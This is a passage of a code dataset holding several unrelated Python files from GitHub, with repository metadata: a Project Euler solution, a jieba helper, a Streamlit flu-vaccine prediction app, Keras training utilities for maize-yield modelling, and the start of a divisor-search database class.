str(bin(n))[2:]\n if d == d[::-1] and b == b[::-1]:\n sum += n\nprint (sum)\n","repo_name":"hersle/euler","sub_path":"036/36.py","file_name":"36.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74069699398","text":"# coding:utf-8\n\n\"\"\"\nUtility Tools for Jieba\n=======================\nhttps://github.com/fxsjy/jieba\n\n\"Jieba\" (Chinese for \"to stutter\") Chinese text segmentation\n\"\"\"\n\n__author__ = \"GE Ning \"\n__copyright__ = \"Copyright (C) 2017 GE Ning\"\n__license__ = \"LGPL-3.0\"\n__version__ = \"1.0\"\n\nfrom jieba import posseg\n\n\ndef tag(text):\n # return: [(word, pos), ...]\n word_pos_list = [(word, pos) for word, pos in posseg.cut(text)]\n return word_pos_list\n\n\nfrom contextlib import contextmanager\n\n\n@contextmanager\ndef enable_parallel(processnum=4):\n from jieba import enable_parallel\n from jieba import disable_parallel\n # __enter__\n print('enable jieba parallel')\n enable_parallel(processnum)\n # yield only one object\n yield\n # __exit__\n disable_parallel()\n print('disable jieba parallel')\n","repo_name":"gening/nlp_util","sub_path":"nlp_util/jieba_nlp.py","file_name":"jieba_nlp.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"15138861710","text":"import streamlit as st\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom helper_functions import model_evaluation\nfrom helper_functions import preprocessing_function\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier\nfrom sklearn.experimental import enable_hist_gradient_boosting\nfrom sklearn.ensemble import HistGradientBoostingClassifier\nfrom sklearn.naive_bayes import GaussianNB\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import plot_confusion_matrix\nfrom sklearn.metrics import plot_roc_curve\nfrom sklearn.metrics import plot_precision_recall_curve\nimport pickle\nfrom imblearn.over_sampling import SMOTE\n\nimport time\nimport sys\nfrom multiprocessing import Process\nfrom helper_functions import preprocessing_function\n\nst.set_option('deprecation.showPyplotGlobalUse', False)\n\nst.title('Vaccine Classification Model')\n\nst.sidebar.subheader('Action')\noption_name = st.sidebar.selectbox('Options', ('Test our model', 'Simple Modelling', 'Comprehensive Modelling'))\n\nif option_name == 'Simple Modelling':\n\n st.sidebar.subheader('Choose Target')\n target_name = st.sidebar.selectbox('Target', ('Seasonal Vaccines', 'H1N1 Vaccines'))\n\n st.sidebar.subheader('Choose Classifier')\n classifier_name = st.sidebar.selectbox(('Classifier'), ('Logistic Regression','Random Forest', 'Gradient Boost', \n 'Histogram Gradient Boosting'))\n\n st.cache()\n def get_dataset(target_name):\n if target_name == 'Seasonal Vaccines':\n X_train = pd.read_csv('new/X_train_seasonal.csv')\n X_test = pd.read_csv('new/X_test_seasonal.csv')\n y_train = pd.read_csv('new/y_train_seasonal.csv')\n y_test = pd.read_csv('new/y_test_seasonal.csv')\n if target_name == 'H1N1 Vaccines':\n X_train = pd.read_csv('new/X_train_h1n1.csv')\n X_test = pd.read_csv('new/X_test_h1n1.csv')\n y_train = pd.read_csv('new/y_train_h1n1.csv')\n y_test = pd.read_csv('new/y_test_h1n1.csv')\n return X_train, X_test, y_train, y_test\n\n X_train, X_test, y_train, y_test = get_dataset(target_name)\n\n def add_parameter_ui(classifier_name):\n params = dict()\n st.subheader('Model Hyperparameters')\n col1, col2 = st.columns(2)\n if classifier_name == 'Logistic Regression':\n with col1:\n C = st.selectbox('C value', (0.001, 0.01, 0.1, 1.0, 10, 100, 1000))\n with col2:\n penalty = st.selectbox('Penalty', ('l1', 'l2', 'elasticnet'))\n params['C'] = C\n params['penalty'] = penalty\n if classifier_name == 'Random Forest':\n with col1:\n max_depth = st.slider('Max Depth', 1, 15)\n with col2:\n max_features = st.slider('Max Features', 0.1, 1.0)\n params['max_depth'] = max_depth\n params['max_features'] = max_features\n if classifier_name == 'Gradient Boost':\n with col1:\n max_depth = st.slider('Max Depth', 1, 15)\n with col2:\n learning_rate = st.slider('Learning Rate', 0.1, 1.0)\n params['max_depth'] = max_depth\n params['learning_rate'] = learning_rate\n if classifier_name == 'Histogram Gradient Boosting':\n with col1:\n max_depth = st.slider('Max Depth', 1, 15)\n with col2:\n learning_rate = st.slider('Learning Rate', 0.1, 1.0)\n params['max_depth'] = max_depth\n params['learning_rate'] = learning_rate\n return params\n\n params = add_parameter_ui(classifier_name)\n\n make_model = st.sidebar.button('Make model')\n\n st.cache()\n def get_classifier(classifier_name, params):\n if classifier_name == 'Logistic Regression':\n clf = LogisticRegression(fit_intercept=False, \n max_iter = 300,\n solver = 'saga',\n penalty = params['penalty'],\n C = params['C'])\n\n if classifier_name == 'Random Forest':\n clf = RandomForestClassifier(\n criterion = 'entropy',\n n_estimators = 170,\n min_samples_leaf = 190,\n max_features = params['max_features'],\n max_depth = params['max_depth']\n )\n\n if classifier_name == 'Gradient Boost':\n clf = GradientBoostingClassifier(n_estimators = 150,\n learning_rate = params['learning_rate'],\n max_depth = params['max_depth'],\n min_samples_leaf = 190,\n min_samples_split = 500)\n\n if classifier_name == 'Histogram Gradient Boosting': \n clf = HistGradientBoostingClassifier(\n learning_rate = params['learning_rate'],\n max_depth = params['max_depth'],\n min_samples_leaf = 190\n )\n return clf\n\n col1, col2, col3 = st.columns(3)\n with col1:\n graph_confusion_matrix = st.checkbox('Confusion Matrix')\n with col2:\n graph_ROC_Curve = st.checkbox('ROC Curve') \n with col3:\n graph_precision_recall_curve = st.checkbox('Precision Recall Curve')\n\n if make_model:\n\n clf = get_classifier(classifier_name, params)\n\n clf.fit(X_train, y_train)\n\n y_proba = clf.predict_proba(X_test)\n y_pred = clf.predict(X_test)\n\n auc = roc_auc_score(y_test, y_proba[:, 1])\n acc = accuracy_score(y_test, y_pred)\n precision = precision_score(y_test, y_pred)\n recall = recall_score(y_test, y_pred)\n\n col1, col2, col3 = st.columns(3)\n\n st.subheader(f'{classifier_name} results')\n\n #with col1:\n #st.write(###\n #test)\n\n col1, col2, col3, col4 = st.columns(4)\n with col1:\n st.write(f'AUC: {round(auc, 3)}')\n with col2: \n st.write(f\"Accuracy: {round(acc, 3)}\")\n with col3: \n st.write(f\"Recall: {round(recall, 3)}\")\n with col4: \n st.write(f'Precision: {round(precision, 3)}')\n\n if graph_confusion_matrix:\n st.subheader('Confusion Matrix')\n plot_confusion_matrix(clf, X_test, y_test, cmap = plt.cm.Blues)\n st.pyplot()\n \n if graph_ROC_Curve:\n st.subheader('ROC Curve')\n plot_roc_curve(clf, X_test, y_test)\n st.pyplot()\n\n if graph_precision_recall_curve:\n st.subheader('Precision Recall Curve')\n plot_precision_recall_curve(clf, X_test, y_test)\n st.pyplot()\n\nif option_name == 'Test our model':\n col1, col2 = st.columns(2)\n\n with col1:\n vaccine_type = st.selectbox('Vaccine Type', ('H1N1', 'Seasonal'))\n with col2:\n model_type = st.selectbox('Model Type', ('Random Forest', 'Naive Bayes'))\n ''\n with st.form(key = 'form1'):\n col1, col2 = st.columns(2)\n with col1:\n opinion_vacc_effective = st.selectbox('How do you feel about the effectiveness of the vaccine?',\n ('Not at all effective',\n 'Not very effective',\n 'Unsure',\n 'Somewhat effective',\n 'Very effective'))\n opinion_vacc_effective_num = {'Not at all effective': 1, \n 'Not very effective': 2,\n 'Unsure': 3,\n 'Somewhat effective': 4,\n 'Very effective': 5}[opinion_vacc_effective]\n ''\n concern = st.selectbox('How concerned are you about the flu?', \n ('Not at all concerned',\n 'Not very concerned',\n 'Somewhat concerned',\n 'Very concerned')\n )\n concern_num = {'Not at all concerned': 0,\n 'Not very concerned': 1,\n 'Somewhat concerned': 2,\n 'Very concerned': 3}[concern] \n ''\n concern_sick_from_vacc = st.selectbox('Are you worried abou being sick from the vaccine?', \n ('Not at all worried',\n 'Not very worried',\n 'Unsure',\n 'Somewhat worried',\n 'Very worried')\n )\n concern_sick_from_vacc_num = {'Not at all worried': 1,\n 'Not very worried': 2,\n 'Unsure': 3,\n 'Somewhat worried': 4,\n 'Very worried': 5}[concern_sick_from_vacc] \n\n with col2:\n doctor_recc = st.radio('Were you recommended by a doctor?', ('Yes', 'No'))\n doctor_recc_num = {'Yes': 1, 'No': 0}[doctor_recc]\n ''\n health_worker = st.radio('Are you a health worker?', ('Yes', 'No'))\n health_worker_num = {'Yes': 1, 'No': 0}[health_worker]\n ''\n opinion_risk = st.slider('How much of a risk is getting the flu without being vaccinated to you?', 1, 5)\n\n make_prediction = st.form_submit_button(label = 'Make Prediction')\n \n if make_prediction:\n\n if vaccine_type == 'H1N1':\n input_dict = {'doctor_recc_h1n1': doctor_recc_num,\n 'opinion_h1n1_risk': opinion_risk,\n 'opinion_h1n1_vacc_effective': opinion_vacc_effective_num,\n 'h1n1_concern': concern_num,\n 'opinion_h1n1_sick_from_vacc': concern_sick_from_vacc_num,\n 'health_worker': health_worker_num}\n\n input_frame = pd.DataFrame.from_dict(input_dict, orient='index').T\n\n if model_type == 'Random Forest':\n model = pickle.load(open('models/h1n1_rf_model.pickl', 'rb'))\n if model_type == 'Naive Bayes':\n model = pickle.load(open('models/h1n1_naive_bayes_model.pickl', 'rb'))\n\n prediction = model.predict(input_frame)[0]\n\n if prediction == 1:\n st.write('This individual was predicted to have taken the H1N1 vaccine.')\n else:\n st.write('This person was predicted not to have taken the H1N1 vaccine.')\n\n if vaccine_type == 'Seasonal':\n input_dict = {'doctor_recc_seasonal': doctor_recc_num,\n 'opinion_seas_risk': opinion_risk,\n 'opinion_seas_vacc_effective': opinion_vacc_effective_num,\n 'h1n1_concern': concern_num,\n 'opinion_seas_sick_from_vacc': concern_sick_from_vacc_num,\n 'health_worker': health_worker_num}\n\n input_frame = pd.DataFrame.from_dict(input_dict, orient='index').T\n\n if model_type == 'Random Forest':\n model = pickle.load(open('models/seasonal_rf_model.pickl', 'rb'))\n if model_type == 'Naive Bayes':\n model = pickle.load(open('models/seasonal_naive_bayes_model.pickl', 'rb'))\n\n prediction = model.predict(input_frame)[0]\n\n if prediction == 1:\n st.write('This individual was predicted to have taken the seasonal flu vaccine.')\n else:\n st.write('This person was predicted not to have taken the seasonal flu vaccine.')\n\nif option_name == 'Comprehensive Modelling':\n \n st.sidebar.subheader('Choose Target')\n target_name = st.sidebar.selectbox('Target', ('Seasonal Vaccines', 'H1N1 Vaccines'))\n\n st.sidebar.subheader('Choose Classifier')\n classifier_name = st.sidebar.selectbox(('Classifier'), ('Logistic Regression','Random Forest', 'Gradient Boost', \n 'Histogram Gradient Boosting'))\n\n X = pd.read_csv('data/training_set_features.csv').drop('respondent_id', axis = 1)\n y = pd.read_csv('data/training_set_labels.csv')\n\n column_options = st.multiselect(\n 'Select the features to exclude',\n X.columns\n )\n\n def add_parameter_ui(classifier_name):\n params = dict()\n st.subheader('Model Hyperparameters')\n col1, col2 = st.columns(2)\n if classifier_name == 'Logistic Regression':\n with col1:\n solver = st.selectbox('Solver',('newton-cg', 'lbfgs', 'liblinear', 'sag', 'saga'))\n with col2:\n penalty = st.selectbox('Penalty', ('l1', 'l2', 'elasticnet'))\n C = st.slider('C value', 0.001, 1000.0)\n params['solver'] = solver\n params['C'] = C\n params['penalty'] = penalty\n if classifier_name == 'Random Forest':\n with col1:\n criterion = st.selectbox('Criterion', ('entropy', 'gini'))\n max_depth = st.slider('Max Depth', 1, 15)\n n_estimators = st.slider('n_estimators', 1, 1000)\n with col2:\n max_features = st.selectbox('Max Features', ('sqrt', 'log2'))\n min_samples_leaf = st.slider('min_samples_leaf', 1, 200)\n max_iter = st.slider('max_iter', 1, 200)\n params['criterion'] = criterion\n params['min_samples_leaf'] = min_samples_leaf\n params['n_estimators'] = n_estimators\n params['max_depth'] = max_depth\n params['max_features'] = max_features\n if classifier_name == 'Gradient Boost':\n with col1:\n max_depth = st.slider('Max Depth', 1, 15)\n with col2:\n learning_rate = st.slider('Learning Rate', 0.1, 1.0)\n params['max_depth'] = max_depth\n params['learning_rate'] = learning_rate\n if classifier_name == 'Histogram Gradient Boosting':\n with col1:\n max_depth = st.slider('Max Depth', 1, 15)\n with col2:\n learning_rate = st.slider('Learning Rate', 0.1, 1.0)\n params['max_depth'] = max_depth\n params['learning_rate'] = learning_rate\n return params\n\n params = add_parameter_ui(classifier_name)\n\n st.cache()\n def get_classifier(classifier_name, params):\n if classifier_name == 'Logistic Regression':\n clf = LogisticRegression(fit_intercept=False,\n solver = params['solver'],\n penalty = params['penalty'],\n C = params['C'])\n\n if classifier_name == 'Random Forest':\n clf = RandomForestClassifier(criterion = params['criterion'],\n n_estimators = params['n_estimators'],\n min_samples_leaf = params['min_samples_leaf'],\n max_features = params['max_features'],\n max_depth = params['max_depth'])\n\n if classifier_name == 'Gradient Boost':\n clf = GradientBoostingClassifier(n_estimators = 150,\n learning_rate = params['learning_rate'],\n max_depth = params['max_depth'],\n min_samples_leaf = 190,\n min_samples_split = 500)\n\n if classifier_name == 'Histogram Gradient Boosting': \n clf = HistGradientBoostingClassifier(\n learning_rate = params['learning_rate'],\n max_depth = params['max_depth'],\n min_samples_leaf = 190\n )\n return clf\n\n columns_to_exclude = [i for i in column_options]\n\n comprehensive_model_button = st.sidebar.button('Make model')\n \n col1, col2, col3 = st.columns(3)\n with col1:\n graph_confusion_matrix = st.checkbox('Confusion Matrix')\n with col2:\n graph_ROC_Curve = st.checkbox('ROC Curve') \n with col3:\n graph_precision_recall_curve = st.checkbox('Precision Recall Curve')\n\n if comprehensive_model_button:\n X = X.drop(columns_to_exclude, axis = 1)\n\n if target_name == 'Seasonal Vaccines':\n y = y['seasonal_vaccine']\n X_train, X_test, y_train, y_test = train_test_split(X, y)\n\n process = preprocessing_function(X_train)\n X_train_processed = process.fit_transform(X_train)\n X_test_processed = process.transform(X_test)\n \n X_train = X_train_processed\n X_test = X_test_processed\n\n\n if target_name == 'H1N1 Vaccines':\n y = y['h1n1_vaccine']\n X_train, X_test, y_train, y_test = train_test_split(X, y)\n \n process = preprocessing_function(X_train)\n X_train_processed = process.fit_transform(X_train)\n X_test_processed = process.transform(X_test)\n\n sm = SMOTE()\n X_train_smote, y_train_smote = sm.fit_resample(X_train_processed, y_train_processed)\n X_train = X_train_smote\n y_train = y_train\n \n clf = get_classifier(classifier_name, params)\n\n clf.fit(X_train, y_train)\n\n y_proba = clf.predict_proba(X_test)\n y_pred = clf.predict(X_test)\n\n auc = roc_auc_score(y_test, y_proba[:, 1])\n acc = accuracy_score(y_test, y_pred)\n precision = precision_score(y_test, y_pred)\n recall = recall_score(y_test, y_pred)\n\n col1, col2, col3 = st.columns(3)\n\n st.subheader(f'{classifier_name} results')\n\n col1, col2, col3, col4 = st.columns(4)\n with col1:\n st.write(f'AUC: {round(auc, 3)}')\n with col2: \n st.write(f\"Accuracy: {round(acc, 3)}\")\n with col3: \n st.write(f\"Recall: {round(recall, 3)}\")\n with col4: \n st.write(f'Precision: {round(precision, 3)}')\n\n if graph_confusion_matrix:\n st.subheader('Confusion Matrix')\n plot_confusion_matrix(clf, X_test, y_test, cmap = plt.cm.Blues)\n st.pyplot()\n \n if graph_ROC_Curve:\n st.subheader('ROC Curve')\n plot_roc_curve(clf, X_test, y_test)\n st.pyplot()\n\n if graph_precision_recall_curve:\n st.subheader('Precision Recall Curve')\n plot_precision_recall_curve(clf, X_test, y_test)\n st.pyplot()\n \n\n\n\n\n\n\n \n \n\n\n \n\n\n\n \n \n ","repo_name":"gregoryhhan/H1N1_Flu_Vaccine_Predictions","sub_path":"streamlit_app/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":19761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"2839955590","text":"from tensorflow.keras.callbacks import Callback\nfrom IPython.display import clear_output\nfrom tensorflow.keras.utils import Sequence\nfrom tensorflow.keras import backend as K\nfrom scipy.interpolate import make_interp_spline, BSpline\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n\n\nclass PrintDot(Callback):\n def on_epoch_end(self, epoch, logs):\n if epoch % 100 == 0: print('')\n print('.', end='')\n\n\nclass DASDataset:\n def __init__(self, metadata, loader_fn, loader_kw, targets,\n train_metadata=None, val_metadata=None, test_metadata=None,\n normalize_by=None, normalization_type='std'):\n self.metadata = metadata.copy()\n if train_metadata is not None:\n self.train_metadata = train_metadata.copy()\n else:\n self.train_metadata = metadata.copy()\n if val_metadata is not None:\n self.val_metadata = val_metadata.copy()\n else:\n self.val_metadata = metadata.copy()\n if test_metadata is not None:\n self.test_metadata = test_metadata.copy()\n else:\n self.test_metadata = metadata.copy()\n self._loader = loader_fn\n self._loader_kw = loader_kw\n self._targets = targets\n self.train_data = None\n self.val_data = None\n self.test_data = None\n self._im_size = None\n self.normalization_is_enabled = False\n self.normalize_by = normalize_by\n if self.normalize_by is not None:\n self.metadata[normalize_by] = self.metadata[normalize_by].astype(str)\n self.train_metadata[normalize_by] = self.train_metadata[normalize_by].astype(str)\n self.val_metadata[normalize_by] = self.val_metadata[normalize_by].astype(str)\n self.test_metadata[normalize_by] = self.test_metadata[normalize_by].astype(str)\n self.normalization_is_enabled = True\n if str(normalization_type).lower() == 'std':\n def new_channels_scalers(): # 4 is the n of channels\n return [preprocessing.StandardScaler() for _ in range(4)]\n else:\n if str(normalization_type).lower() != 'minmax':\n print(\"Unrecognized normalization type: \"\n f\"{str(normalization_type)}. \"\n \"Using Min Max as default.\")\n def new_channels_scalers():\n return [preprocessing.MinMaxScaler() for _ in range(4)]\n self._column_to_use_for_scale = normalize_by\n self._scalers_categories = self.metadata[normalize_by].unique()\n self._scalers = { cat : new_channels_scalers() for cat in self._scalers_categories }\n # self._scalers[ITEM IN SCALE COLUMN, FOR EXAMPLE, 1 OR 2 OF REP, OR A DATE]\n \n for scaler_cat in self._scalers_categories:\n features_of_cat = self._load_sample_for_fit(scaler_cat)\n self._im_size = features_of_cat.shape[1:-1]\n for i, channel_scaler in enumerate(self._scalers[scaler_cat]):\n channel_scaler.fit([self._reshape_before_fit(x)\n for x in features_of_cat[:, :, :, i]])\n\n def _reshape_before_fit(self, single_ch):\n if self._im_size is None:\n self._im_size = single_ch.shape[0:-1]\n return single_ch.reshape(-1)\n\n def _reshape_after_fit(self, single_ch):\n return single_ch.reshape(self._im_size)\n\n def scale(self, x, scaler_cat):\n x = np.asarray(x)\n for c in range(4): # iterate over channels \n m_of_ch = x[:, :, c].reshape(1, -1)\n \n m_of_ch = self._scalers[scaler_cat][c].transform(m_of_ch)\n x[:, :, c] = m_of_ch.reshape(self._im_size)\n return x + 0.000001\n\n def _load_sample_for_fit(self, scaler_cat):\n features_of_cat = []\n metadata_of_cat = self.metadata[\n self.metadata[self._column_to_use_for_scale] == str(scaler_cat)\n ]\n\n for index, row in metadata_of_cat.iterrows():\n index, data = self._loader(row, **self._loader_kw)\n features_of_cat.append(data[0])\n return (np.asarray(features_of_cat))\n\n def load_train_val_test_data(self):\n for dataset in zip([self.train_metadata, self.val_metadata, self.test_metadata],\n ['train', 'val', 'test']):\n if dataset is None:\n continue\n features = []\n das = []\n y = []\n for index, row in dataset[0].iterrows():\n index, data = self._loader(row, **self._loader_kw)\n data = data[0]\n if self.normalization_is_enabled:\n data = self.scale(data, row[self._column_to_use_for_scale])\n # data = self.scale(data, 26/02/20)\n\n features.append(data)\n das.append([row.DAS])\n if isinstance(self._targets, list):\n targets = []\n for target in self._targets:\n targets.append(row[target])\n y.append(targets)\n else:\n y.append(row[self._targets])\n if dataset[1] == 'train':\n self.train_data = np.asarray(\n features), np.asarray(das), np.asarray(y)\n elif dataset[1] == 'val':\n self.val_data = np.asarray(\n features), np.asarray(das), np.asarray(y)\n else:\n self.test_data = np.asarray(\n features), np.asarray(das), np.asarray(y)\n\n\nclass RegressorDASGenerator(Sequence, DASDataset):\n def __init__(self, metadata_flow, new_shape=None, batch_size: int = 32,\n augmentation=1, shuffle: bool = True, temp_dir=None,\n shape=None, use_cache=False, **dataset):\n DASDataset.__init__(self, **dataset)\n self.metadata_flow = metadata_flow.copy()\n if self.normalize_by is not None:\n self.metadata_flow[self.normalize_by] = self.metadata_flow[self.normalize_by].astype(str)\n self.load_train_val_test_data()\n self._batch_size = batch_size\n self._new_shape = new_shape\n self._augmentation = augmentation\n if shape is not None:\n self._shape = shape\n else:\n self._set_shape()\n self._temp_dir = temp_dir\n self._use_cache = use_cache\n self._cache = {}\n if temp_dir is not None:\n os.makedirs(temp_dir, exist_ok=True)\n for f in os.listdir(temp_dir):\n os.remove(os.path.join(temp_dir, f))\n\n if shuffle:\n self.metadata_flow = self.metadata_flow.sample(frac=1)\n\n @property\n def no_augmented_dataset(self):\n \"\"\"\n Loads all dataset without augmentation (train, val and test)\n \"\"\"\n if self.train_data is None:\n self.load_train_val_test_data()\n return self.train_data, self.val_data, self.test_data\n\n def _set_shape(self):\n loaderkws = self._loader_kw.copy()\n loaderkws['augment_type'] = None\n sample = self.metadata.iloc[0, ]\n _, data = self._loader(sample, **loaderkws)\n if len(data) > 1 and self._augmentation == 1:\n print(\n f\"Warning: augmented data detected. Setting augmentation to {len(data)}\")\n self._augmentation = len(data)\n # data must be in shape (augmented, data shape ...)\n # where augmented must be at least equal to 1, when no augmentation\n # is performed\n self._shape = (np.asarray(data).shape)\n\n def _is_saved(self, item):\n saved = f'{item.Instance}_{self._shape}_{self._augmentation}.npy'\n if not os.path.isfile(os.path.join(self._temp_dir, saved)):\n return False\n return True\n\n def _load_from_disk(self, item):\n saved = f'{item.Instance}_{self._shape}_{self._augmentation}.npy'\n return np.load(os.path.join(self._temp_dir, saved))\n\n def _save_to_disk(self, item, data):\n saved = f'{item.Instance}_{self._shape}_{self._augmentation}.npy'\n np.save(os.path.join(self._temp_dir, saved), arr=data)\n\n def __getitem__(self, index):\n items = self.metadata_flow.iloc[index*(self._batch_size // self._augmentation):\n (index+1)*(self._batch_size // self._augmentation), ]\n # Fill batches\n x = []\n y = []\n das = []\n for i, item in items.iterrows():\n data = None\n if self._use_cache and item.Instance in self._cache:\n data = self._cache[item.Instance]\n\n if data is None and self._temp_dir is not None and self._is_saved(item):\n data = self._load_from_disk(item)\n\n if data is None:\n _, data = self._loader(item, **self._loader_kw)\n\n if self._temp_dir is not None:\n self._save_to_disk(item, data)\n if self._use_cache:\n self._cache[item.Instance] = data\n for d in data:\n if self.normalization_is_enabled:\n d = self.scale(d, item[self._column_to_use_for_scale])\n # if self.standardize_by_rep or self.normalize_by_rep:\n # d = self.scale(d, item.REP)\n if self._new_shape is not None:\n x.append(d.reshape(self._new_shape))\n else:\n x.append(d)\n das.append([item.DAS])\n \n if isinstance(self._targets, list):\n targets = []\n for target in self._targets:\n targets.append(item[target])\n y.append(targets)\n else:\n y.append(item[self._targets]) \n return [np.asarray(x), np.asarray(das)], np.asarray(y)\n\n def __len__(self):\n return int((np.floor(self.metadata_flow.shape[0])*self._augmentation) / self._batch_size)\n\n\n\nclass ShowLR(Callback):\n def on_epoch_end(self, epoch, logs=None):\n # if epoch % 100 == 0:\n lr = self.model.optimizer.lr\n decay = self.model.optimizer.decay\n iterations = self.model.optimizer.iterations\n lr_with_decay = lr / (1. + decay * K.cast(iterations, K.dtype(decay)))\n print(\"\\nLearning rate:\", K.eval(lr_with_decay))\n\n\nclass PlotMetricsRegressor(Callback):\n\n def __init__(self, val_data, val_y, interval=1,\n suavize_data='interval', auto_limits=True,\n savefig=None, savefig_epoch=None):\n super().__init__()\n os.makedirs('graficos/TRAINNING', exist_ok=True)\n self.val_data = val_data\n self.val_y = val_y\n self.interval = interval\n self.savefig = savefig\n self.savefig_epoch = savefig_epoch\n self.suavize_data = interval if suavize_data == 'interval' else suavize_data\n self.auto_limits = auto_limits # Não implementado\n\n def on_train_begin(self, logs={}):\n self.i = 0\n self.x = []\n self.losses = []\n self.val_losses = []\n self.mses = []\n self.vmses = []\n self.lrs = []\n# self.maes = []\n# self.vmaes = []\n self.r2s = []\n self.vr2s = []\n self.pearsons = []\n self.vpearsons = []\n\n self.logs = []\n\n @staticmethod\n def smooth_curve(points, factor=0.75):\n smoothed_points = []\n for point in points:\n if smoothed_points:\n previous = smoothed_points[-1]\n smoothed_points.append(\n previous * factor + point * (1 - factor))\n else:\n smoothed_points.append(point)\n return smoothed_points\n\n def plot(self, epoch, logs={}):\n clear_output(wait=True)\n self.fig, (self.ax1, self.ax2, self.ax3,\n self.ax4) = plt.subplots(1, 4, figsize=(20, 5))\n\n if self.suavize_data is not None:\n losses = PlotMetricsRegressor.smooth_curve(self.losses)\n val_losses = PlotMetricsRegressor.smooth_curve(self.val_losses)\n# maes = PlotMetricsRegressor.smooth_curve(self.maes)\n# vmaes = PlotMetricsRegressor.smooth_curve(self.vmaes)\n mses = PlotMetricsRegressor.smooth_curve(self.mses)\n vmses = PlotMetricsRegressor.smooth_curve(self.vmses)\n r2s = PlotMetricsRegressor.smooth_curve(self.r2s)\n pearsons = PlotMetricsRegressor.smooth_curve(self.pearsons)\n vr2s = PlotMetricsRegressor.smooth_curve(self.vr2s)\n vpearsons = PlotMetricsRegressor.smooth_curve(self.vpearsons)\n else:\n losses = self.losses\n val_losses = self.val_losses\n# maes = self.maes\n# vmaes = self.vmaes\n vmses = self.vmses\n mses = self.mses\n r2s = self.r2s\n pearsons = self.pearsons\n vr2s = self.vr2s\n vpearsons = self.vpearsons\n lrs = self.lrs\n\n self.ax1.plot(self.x, losses, label=\"loss\")\n self.ax1.plot(self.x, val_losses, label=\"val_loss\")\n# self.ax1.set_xlim([max(0, self.x[-1]-30), self.x[-1]])\n# self.ax1.set_ylim([0, 10])\n self.ax1.set_xscale(\"log\")\n self.ax1.set_yscale(\"log\")\n self.ax1.legend()\n\n# self.ax2.plot(self.x, mses, label=\"mse\")\n# self.ax2.plot(self.x, vmses, label=\"val_mse\")\n self.ax2.plot(self.x, lrs, label=\"Learning Rate\")\n self.ax2.legend()\n\n self.ax3.plot(self.x, r2s, label=\"R2\")\n self.ax3.plot(self.x, pearsons, label=\"Pearson\")\n self.ax3.plot(self.x, vr2s, label=\"Val R2\")\n self.ax3.plot(self.x, vpearsons, label=\"Val Pearson\")\n self.ax3.set_ylim([0, 1])\n\n self.ax3.legend()\n\n predictions = self.model.predict(self.val_data)\n self.ax4.scatter(self.val_y, predictions, marker='.')\n self.ax4.set_xlabel('True Values')\n self.ax4.set_ylabel('Predictions')\n self.ax4.axis('equal')\n self.ax4.axis('square')\n self.ax4.set_xlim([0, plt.xlim()[1]])\n self.ax4.set_ylim([0, plt.ylim()[1]])\n if epoch >= self.savefig_epoch:\n plt.savefig(f'graficos{os.sep}TRAINNING{os.sep}{self.savefig}.png')\n plt.show()\n\n def on_epoch_end(self, epoch, logs={}):\n \n lr = self.model.optimizer.lr\n decay = self.model.optimizer.decay\n iterations = self.model.optimizer.iterations\n lr_with_decay = lr / (1. + decay * K.cast(iterations, K.dtype(decay)))\n \n self.logs.append(logs)\n self.x.append(self.i)\n self.losses.append(logs.get('loss'))\n self.lrs.append(lr_with_decay)\n self.mses.append(logs.get('mse'))\n self.vmses.append(logs.get('val_mse'))\n self.val_losses.append(logs.get('val_loss'))\n self.r2s.append(logs.get('r2_keras'))\n self.vr2s.append(logs.get('val_r2_keras'))\n self.pearsons.append(logs.get('pearson_r'))\n self.vpearsons.append(logs.get('val_pearson_r'))\n self.i += 1\n if epoch % self.interval == 0:\n self.plot(epoch, logs)\n","repo_name":"lucasgris/maize-yield-tsc","sub_path":"trainutils.py","file_name":"trainutils.py","file_ext":"py","file_size_in_byte":15338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37985838638","text":"'''A simple in-memory divisor database.'''\nfrom datetime import datetime\nfrom typing import Iterable\nfrom typing import List\n\nfrom dataclasses import replace\nfrom riemann.database import DivisorDb\nfrom riemann.types import RiemannDivisorSum\nfrom riemann.types import SearchBlockState\nfrom riemann.types import SearchMetadata\nfrom riemann.types import SummaryStats\nfrom riemann.types import hash_divisor_sums\n\n\nclass InMemoryDivisorDb(DivisorDb):\n def __init__(self):\n self.data = dict()\n self.metadata = dict()\n\n def load(self) -> Iterable[RiemannDivisorSum]:\n return self.data.values()\n\n def load_metadata(self) -> List[SearchMetadata]:\n return list(self.metadata.values())\n\n def initialize_schema(self):\n pass\n\n def insert_search_blocks(self, blocks: List[SearchMetadata]) -> None:\n already_processed_pks = set(self.metadata.keys())\n proposed_pks = set([x.key() for x in blocks])\n duplicates = already_processed_pks & proposed_pks\n\n if duplicates:\n raise ValueError(f\"PK violation for key values={duplicates}\")\n\n for block in blocks:\n block = replace(block, state=SearchBlockState.NOT_STARTED)\n self.metadata[block.key()] = block\n\n def claim_next_search_block(self,\n search_index_type: str) -> SearchMetadata:\n eligible = [\n x for x in self.metadata.values()\n if x.state == SearchBlockState.NOT_STARTED\n ]\n chosen = min(eligible, key=lambda metadata: metadata.creation_time)\n chosen = replace(\n chosen,\n state=SearchBlockState.IN_PROGRESS,\n start_time=datetime.now(),\n )\n self.metadata[chosen.key()] = chosen\n return chosen\n\n def finish_search_block(self, metadata: SearchMetadata,\n divisor_sums: List[RiemannDivisorSum]) -> None:\n block_hash = hash_divisor_sums(divisor_sums)\n block = replace(\n metadata,\n state=SearchBlockState.FINISHED,\n end_time=datetime.now(),\n block_hash=block_hash,\n )\n self.metadata[block.key()] = block\n for divisor_sum in divisor_sums:\n if divisor_sum.witness_value > self.threshold_witness_value:\n self.data[divisor_sum.n] = divisor_sum\n\n def mark_block_as_failed(self, 